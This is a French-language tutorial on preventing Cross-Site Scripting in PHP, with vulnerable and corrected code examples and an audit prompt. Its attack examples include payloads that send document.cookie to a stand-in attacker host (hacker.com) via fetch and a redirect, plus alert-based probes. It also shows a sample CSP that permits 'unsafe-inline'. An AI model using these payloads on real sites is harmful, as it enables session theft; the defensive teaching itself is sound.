Cross-Site Scripting (XSS)
Le Cross-Site Scripting (XSS) est une faille de sécurité qui permet à un attaquant d’injecter du code JavaScript malveillant dans des pages web consultées par d’autres utilisateurs. Cela se produit quand une application PHP affiche des données utilisateur non filtrées (ex : commentaires, champs de formulaire, URL) sans les échapper correctement.
Exemple vulnérable :
<!-- Affichage direct d'une entrée utilisateur -->
<p>Bonjour, <?php echo $_GET['nom']; ?> !</p>
Attaque :
Si un utilisateur visite http://site.com/page.php?nom=<script>alert('Hacké !')</script>, le JavaScript s’exécute dans son navigateur.
Types de XSS :
- XSS stocké (Persistant) : Le code malveillant est sauvegardé dans une base de données (ex : commentaire, profil utilisateur) et s’exécute à chaque affichage.
- XSS réfléchi (Non-persistant) : Le code est inclus dans une URL ou un formulaire et s’exécute immédiatement (ex : lien piégé).
- XSS DOM-based : L’injection se produit côté client via une manipulation du DOM (ex :
document.write()).
Risques :
- Vol de cookies/sessions (ex :
document.cookieenvoyé à un serveur malveillant). - Redirection vers des sites frauduleux.
- Keylogging (capture des frappes clavier).
- Défiguration du site (ex : remplacement du contenu).
Prompt pour l'IA
Analyse ce code PHP pour détecter des vulnérabilités Cross-Site Scripting (XSS). Vérifie les points suivants :
- Affichage de données non échappées :
- Utilisation de
echo,print, ou inclusion directe de variables utilisateur ($_GET,$_POST,$_COOKIE, base de données) dans du HTML/JS. - Exemple dangereux :
echo $_GET['message'];dans une balise<div>.
- Utilisation de
- Fonctions insuffisantes :
- Utilisation de
htmlspecialchars()sans le flagENT_QUOTESou avec un mauvais encodage. - Absence d’échappement pour les contextes JavaScript (ex :
json_encode()manquant) ou attributs HTML (ex :onerror=).
- Utilisation de
- Contextes spécifiques non protégés :
- Données insérées dans des balises
<script>, attributs HTML (href,src,style), ou URLs. - Utilisation de
innerHTMLoudocument.write()en JavaScript avec des données PHP non sécurisées.
- Données insérées dans des balises
- Headers HTTP mal configurés :
- Absence de l’en-tête
Content-Security-Policy (CSP)pour limiter les sources de scripts.
- Absence de l’en-tête
Recommandations attendues :
- Échappement contextuel :
- Pour le HTML :
htmlspecialchars($var, ENT_QUOTES, 'UTF-8'). - Pour les URLs :
urlencode()oufilter_var($var, FILTER_SANITIZE_URL). - Pour le JavaScript :
json_encode()+ échappement manuel si nécessaire.
- Pour le HTML :
- Validation des entrées : Rejeter les balises
<script>,onerror=, etc. (ex :strip_tags()ou expressions régulières). - Utiliser des bibliothèques comme HTML Purifier pour nettoyer le HTML utilisateur.
- Configurer un CSP :
Header set Content-Security-Policy "default-src 'self'; script-src 'self' 'unsafe-inline' https://trusted.cdn.com"
Explication détaillée
A. Mécanisme du XSS
Le XSS exploite la confiance du navigateur envers le code HTML/JS reçu du serveur. Si une application insère des données utilisateur brutes dans une page, un attaquant peut injecter des balises ou des événements JavaScript qui s’exécuteront dans le contexte de la victime.
Exemple d’attaque réfléchie :
- L’attaquant envoie un lien piégé :
http://site.com/recherche.php?q=<script>fetch('https://hacker.com/steal?cookie='+document.cookie)</script> - La page PHP affiche la recherche sans échappement :
<p>Résultats pour : <?php echo $_GET['q']; ?></p> - La victime clique sur le lien → son cookie de session est volé.
B. Techniques de prévention
1. Échappement contextuel
Le traitement dépend du contexte où la donnée est insérée :
| Contexte | Fonction PHP à utiliser | Exemple |
|---|---|---|
| HTML (texte) | htmlspecialchars($var, ENT_QUOTES, 'UTF-8') |
<?php echo htmlspecialchars($user_input, ENT_QUOTES); ?> |
| Attributs HTML | htmlspecialchars() + guillemets |
<input value="<?php echo htmlspecialchars($value); ?>"> |
| JavaScript | json_encode() |
<script>var data = <?php echo json_encode($user_data); ?>;</script> |
| URLs | urlencode() ou filter_var(..., FILTER_SANITIZE_URL) |
<a href="?page=<?php echo urlencode($page); ?>">Lien</a> |
| CSS | preg_replace('/[^a-zA-Z0-9#]/', '', $var) |
<div style="color: <?php echo preg_replace(...); ?>"> |
Exemple complet :
// Donnée utilisateur non sécurisée
$user_comment = $_POST['comment'];
// Affichage sécurisé dans du HTML
echo '<div class="comment">' .
htmlspecialchars($user_comment, ENT_QUOTES, 'UTF-8') .
'</div>';
// Utilisation dans du JavaScript
<script>
var comment = <?php echo json_encode($user_comment); ?>;
</script>
2. Validation des entrées
- Rejeter les balises dangereuses :
$clean_input = strip_tags($_POST['input']); // Supprime toutes les balises HTML - Liste blanche de balises (si vous devez autoriser du HTML limité) :
$allowed_tags = '<b><i><p><a>'; $clean_input = strip_tags($_POST['input'], $allowed_tags); - Utiliser HTML Purifier pour un nettoyage avancé :
require_once 'HTMLPurifier.auto.php'; $config = HTMLPurifier_Config::createDefault(); $purifier = new HTMLPurifier($config); $clean_html = $purifier->purify($_POST['input']);
3. Content Security Policy (CSP)
Le CSP est un header HTTP qui restreint les sources de scripts, styles, etc. Exemple :
# Dans .htaccess ou la configuration Apache/Nginx
Header set Content-Security-Policy "default-src 'self'; script-src 'self' https://apis.google.com; style-src 'self' 'unsafe-inline'; img-src 'self' data:"
- Effet : Bloque l’exécution de scripts inline (
'unsafe-inline') ou depuis des domaines non autorisés. - Test : Utilisez CSP Evaluator pour vérifier votre politique.
4. Bonnes pratiques complémentaires
- Désactiver
register_globals(obsolète mais encore présent sur certains serveurs). - Configurer
httpOnlyetSecurepour les cookies :session_set_cookie_params([ 'lifetime' => 3600, 'path' => '/', 'domain' => 'votre-site.com', 'secure' => true, // HTTPS seulement 'httponly' => true, // Bloque l'accès via JavaScript 'samesite' => 'Strict' ]); - Utiliser des frameworks modernes (Laravel, Symfony) qui échappent automatiquement les données (ex : Blade
{{ }}en Laravel).
C. Exemples concrets d’attaques et corrections
Cas 1 : XSS réfléchi via un champ de recherche
Code vulnérable :
<!-- recherche.php -->
<p>Vous avez recherché : <?php echo $_GET['q']; ?></p>
Attaque :
http://site.com/recherche.php?q=<img src=x onerror=alert(1)>
→ Affiche une alerte JavaScript.
Correction :
<p>Vous avez recherché : <?php echo htmlspecialchars($_GET['q'], ENT_QUOTES, 'UTF-8'); ?></p>
Cas 2 : XSS stocké dans un livre d’or
Code vulnérable :
// Sauvegarde en base de données
$comment = $_POST['comment'];
$stmt = $pdo->prepare("INSERT INTO comments (text) VALUES (?)");
$stmt->execute([$comment]);
// Affichage ultérieur
echo "<div class='comment'>$comment</div>"; // XSS si $comment contient du JS
Attaque : Un utilisateur soumet :
<script>document.location='https://hacker.com/steal?cookie='+document.cookie</script>
→ Tous les visiteurs exécutent ce script.
Correction :
// À l'affichage :
echo '<div class="comment">' . htmlspecialchars($comment, ENT_QUOTES, 'UTF-8') . '</div>';
// Ou avec HTML Purifier si vous autorisez du HTML limité :
echo '<div class="comment">' . $purifier->purify($comment) . '</div>';
Cas 3 : XSS via un attribut HTML
Code vulnérable :
<a href="<?php echo $_GET['url']; ?>">Lien</a>
Attaque :
http://site.com/page.php?url=javascript:alert(1)
→ Exécute du JS au clic.
Correction :
<a href="<?php echo htmlspecialchars($_GET['url'], ENT_QUOTES, 'UTF-8'); ?>">
Lien
</a>
Cas 4 : XSS DOM-based (côté client)
Code vulnérable (JavaScript) :
// URL : http://site.com/#<img src=x onerror=alert(1)>
var pos = document.location.hash.substring(1);
document.getElementById('content').innerHTML = pos;
Correction :
// Échappement manuel ou utilisation de textContent
document.getElementById('content').textContent = pos;
D. Outils pour tester les XSS
- OWASP ZAP : Scanner automatisé pour détecter les XSS réfléchis/stockés.
zap-baseline.py -t http://votre-site.com - Burp Suite : Intercepter et modifier les requêtes pour tester les injections.
- XSS Hunter : Outil pour détecter l’exploitation de XSS en environnement réel.
- PHPStan : Détecte les
echode variables non échappées (avec des règles personnalisées).
E. Pourquoi htmlspecialchars() seul ne suffit pas toujours ?
-
Contexte JavaScript :
<script> var data = <?php echo htmlspecialchars($user_data); ?>; // Échoue si $user_data contient des guillemets </script>Solution : Utiliser
json_encode():<script> var data = <?php echo json_encode($user_data); ?>; </script> -
Attributs HTML avec espaces :
<input value="<?php echo htmlspecialchars($value); ?>" type="text">Si
$valuecontient un espace +onmouseover=..., l’attribut peut être rompu. Solution : Toujours entourer les attributs de guillemets et utiliserENT_QUOTES.
Conclusion
Le XSS est une faille courante mais évitable en PHP. La clé est :
- Échapper les données en fonction du contexte (HTML, JS, URL, etc.).
- Valider et nettoyer les entrées (liste blanche, HTML Purifier).
- Renforcer la sécurité avec CSP et des cookies sécurisés.
Ressources utiles :
- OWASP XSS Prevention Cheat Sheet Guide officiel avec des règles précises pour chaque contexte (attributs HTML, JavaScript, CSS, etc.).
- HTML Purifier Bibliothèque PHP pour filtrer le HTML utilisateur et bloquer les XSS (idéal pour les zones de texte riche comme les commentaires).
- Générateur de CSP par Google Outil pour créer et tester des politiques Content Security Policy (CSP) afin de limiter l’exécution de scripts non autorisés.
- OWASP ZAP Scanner gratuit pour détecter automatiquement les XSS réfléchis/stockés dans votre application.